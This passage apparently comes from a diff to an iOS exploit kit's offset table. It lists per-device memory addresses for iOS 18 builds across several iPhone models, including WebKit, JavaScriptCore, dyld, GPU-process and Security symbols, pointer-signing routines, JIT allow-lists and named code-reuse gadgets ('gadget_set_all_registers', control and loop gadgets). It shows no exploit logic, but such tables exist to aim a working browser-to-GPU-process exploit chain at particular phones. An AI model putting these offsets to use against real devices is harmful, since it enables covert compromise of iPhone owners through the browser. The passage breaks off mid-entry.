0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadf280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadf1e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadf230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9becb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be978n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fb7e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ef18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda63178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6bcb8n, + WebCore__initPKContact_value: 0x1eda6bcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda600c0n, + __pthread_head: 0x269d78020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5a90n, + gadget_control_1_ios184: 0x23f1142ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ceb97e8n, + libGPUCompilerImplLazy_cstring: 0x23c003870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caf58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ca1c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + + "iPhone11,2_4_6_22G86": { + __pthread_head : 0x268994020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f57f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4c38n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703ac8n, + free_slabs : 0x1ed7bd250n, + gadget_control_1_ios184 : 0x23ef3e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21effe150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfcdce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6138n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21885d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cce08b4n, + libGPUCompilerImplLazy_cstring : 0x23be2a870n, + libsystem_c__atexit_mutex : 0x1ed6e26d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d01c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1940n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576c7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d022988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x270ffc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8766e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8834b8n, + WebCore__initPKContact_value : 0x1ed8834c0n, + WebCore__PAL_getPKContactClass : 0x1ed87a978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8778c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, +"iPhone11,6_22G86": { + __pthread_head : 0x268994020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f57f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4c38n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703ac8n, + free_slabs : 0x1ed7bd250n, + gadget_control_1_ios184 : 0x23ef3e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21effe150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfcdce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6138n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21885d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cce08b4n, + libGPUCompilerImplLazy_cstring : 0x23be2a870n, + libsystem_c__atexit_mutex : 0x1ed6e26d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d01c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1940n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576c7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d022988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x270ffc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8766e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8834b8n, + WebCore__initPKContact_value : 0x1ed8834c0n, + WebCore__PAL_getPKContactClass : 0x1ed87a978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8778c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + +"iPhone11,4_22G86": { + __pthread_head : 0x268994020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f57f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4c38n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703ac8n, + free_slabs : 0x1ed7bd250n, + gadget_control_1_ios184 : 0x23ef3e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21effe150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfcdce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6138n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21885d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cce08b4n, + libGPUCompilerImplLazy_cstring : 0x23be2a870n, + libsystem_c__atexit_mutex : 0x1ed6e26d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d01c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1940n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576c7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d022988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x270ffc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8766e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8834b8n, + WebCore__initPKContact_value : 0x1ed8834c0n, + WebCore__PAL_getPKContactClass : 0x1ed87a978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8778c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + + "iPhone11,8_22G86": { + __pthread_head : 0x268988020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f57f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4c38n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703ac8n, + free_slabs : 0x1ed7bd250n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6130n, + 